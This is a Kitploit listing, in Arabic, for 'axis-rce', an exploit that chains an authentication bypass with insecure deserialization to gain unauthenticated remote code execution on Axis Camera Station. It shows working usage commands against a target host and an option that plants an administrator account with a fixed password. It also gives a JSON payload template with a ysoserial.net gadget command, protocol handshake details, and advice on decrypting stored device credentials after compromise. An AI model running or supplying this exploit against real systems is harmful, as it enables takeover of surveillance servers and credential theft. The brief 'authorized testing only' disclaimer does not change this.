Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
axis-RCE — RCE غير مُصادَق عليه على Axis Camera Station (ACS) عبر تسلسل CVE‑2025‑30026 (تجاوز المصادقة) + CVE‑2025‑30023 (إلغاء تسلسل غير آمن) | Kitploit
أدوات/GitHubGitHub/ricardojoserf/axis-rce
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتشفيراختبار الاختراقالمصادقةالفريق الأحمرتطوير الحمولات
GitHubricardojoserf/axis-rce

axis-RCE

RCE غير مُصادَق عليه على Axis Camera Station (ACS) عبر تسلسل CVE‑2025‑30026 (تجاوز المصادقة) + CVE‑2025‑30023 (إلغاء تسلسل غير آمن)

61منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني

CVE-2025-30026 + CVE-2025-30023: تنفيذ أوامر عن بُعد دون مصادقة

يُسلسل هذا الاستغلال CVE‑2025‑30026 (تجاوز المصادقة) مع CVE‑2025‑30023 (إلغاء تسلسل غير آمن) لتحقيق تنفيذ أوامر عن بُعد دون مصادقة على برنامج Axis Camera Station. فهو يتجاوز آلية تسجيل الدخول ويُرسل حِمولات مُسلسلة خبيثة تُفعّل تنفيذ أوامر عشوائية، مما يمنح المهاجم تحكماً كاملاً في الجهاز المستهدف.

تؤثر كلتا الثغرتين على إصدارات Axis Camera Station Pro السابقة للإصدار 6.9 وإصدارات Axis Camera Station السابقة للإصدار 5.58.

وهو مبني على منشور مدونة Claroty "Turning Camera Surveillance on its Axis"، الذي يصف البروتوكول والثغرات المرتبطة به.



الاستخدام

python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
العَلَمالوصف
--hostعنوان IP/المضيف الهدف (مطلوب).
--portمنفذ الهدف (الافتراضي 55752).
--keyمفتاح RSA-2048 الخاص بالعميل بصيغة PEM (مطلوب).
--jsonملف JSON محلي يحتوي على الطلب المراد إرساله.
--versionطلب VersionFacade.get_ProductVersion للحصول على معلومات الإصدار.
--adduserإنشاء المستخدم ricardo بكلمة المرور ThisIsIt123 وإضافته إلى مجموعة Administrators.
--waitعدد الثواني للاستماع على القناة بعد المصافحة (الافتراضي 5).
--listenعدد الثواني لانتظار الاستجابة بعد إرسال الطلب (الافتراضي 15).

المتطلبات

ثبّت التبعيات وأنشئ مفتاح RSA خاصًا بصيغة PEM للعميل:

pip install cryptography
openssl genrsa -out client_priv.pem 2048

أمثلة

استعلم عن إصدار المنتج للتحقق من أن الإصدار عرضة للثغرة:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

img1

استغلال إزالة التسلسل لإنشاء مستخدم مسؤول ricardo بكلمة المرور ThisIsIt123:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser

img2

img3

أرسل Request مخصصًا من ملف JSON لتنفيذ أي أمر:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json

تنسيق ملف Request

Request هو كائن JSON يحتوي على مفتاح "Request" واحد. التنسيق اللازم لاستغلال إزالة التسلسل هو:

{
    "Request": {
        "Id": "random123456",
        "Service": "SessionFacade",
        "Method": "LogOnAsync",
        "Parameters": {
            "uri": "http://192.168.1.197:55752/",
            "clientInformationDto": {
                "$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
            },
            "communicationType": 0,
            "ct": "random123456"
        }
    }
}

يمكن الحصول على قيمة الحقل clientInformationDto باستخدام Ysoserial.net مع gadget مثل WindowsIdentity، والذي يبدو مستقرًا بدرجة كافية لاستغلال هذه الثغرة (بينما تتسبب gadgets الأخرى في تعطل الخدمة):

ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw


غنائم إضافية

بمجرد حصولك على وصول إلى جهاز Windows، يصبح لديك وصول إلى قواعد بيانات .FDB التي تحتوي على بيانات الاعتماد اللازمة للاتصال بالأجهزة المختلفة. هذه القواعد مشفّرة باستخدام تطبيق AES ضعيف، ويمكنك فك تشفيرها فورًا باستخدام الرقم التسلسلي لوحدة تخزين المضيف أو كسرها بالقوة الغاشمة في دقائق باستخدام وحدة معالجة رسومات (GPU).

يمكنك استخدام السكربت الموجود في هذا المستودع لاستغلالها: CVE-2026-63286.



كيف يعمل البروتوكول

يغلّف AXIS Camera Station بروتوكولًا ثنائيًا ذا حالة فوق HTTP. فبدلًا من طلب/استجابة واحد لكل اتصال، يفتح قناتين طويلتي الأمد ويبثّ رسائل مؤطّرة عبرهما حتى يُغلق الاتصال.

الطبقةالتفصيل
النقلHTTP عبر المنفذ 55752. يفتح GET /_/ قناة RX (الاستقبال)؛ وPOST /_/<channelID> هي قناة TX (الإرسال)، مع كل رسالة في جسم POST.
تأطير RXجسم HTTP من نوع chunked؛ وبداخله، إطارات التحكم هي [uint32 LE length][data].
المصافحةيتبادل الطرفان مفتاحًا عامًا، ثم مفتاح جلسة AES عشوائيًا ملفوفًا بالمفتاح العام للطرف الآخر.
تنسيق المفتاحيرسل العميل شهادته X.509 (base64). يُرسل مفتاح AES بصيغة base64(wrapped_key):base64(iv).
تغليف RSAPKCS#1 v1.5.
القناةAES-256-CBC مع حشو PKCS#7. تستخدم إطارات الخادم→العميل مفتاح الخادم + IV.
التطبيقJSON من Axis.Remoting. يرسل العميل أولًا ClientId الخاص به كرسالة HELLO، ثم {"Request":{"Id","Service","Method","Parameters"}}.

تسلسل المصافحة

RX  GET /_/                 <-  channelID
RX  (server pushes)         <-  server cert (X.509, base64)
RX  (server pushes)         <-  server AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  client cert (X.509, base64)
TX  POST /_/<channelID>     ->  client AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  HELLO (ClientId)
TX  POST /_/<channelID>     ->  encrypted JSON Request
RX  (server pushes)         <-  encrypted JSON Response


ملاحظات

  • تم الاختبار على الإصدارين 5.57.27610 و 5.57.33556 العاملين على Windows 11.

  • قد تؤدي هجمات إلغاء التسلسل إلى تعطّل الخدمة إذا استُخدمت أدوات (gadgets) غير مستقرة أو معاملات غير مناسبة، لذا اختبر دائمًا في بيئات مُتحكَّم بها.

  • هذا السكربت مُقدَّم لأغراض تعليمية وللاختبار المُصرَّح به فقط... استخدمه على مسؤوليتك الخاصة!

تنزيل الأداة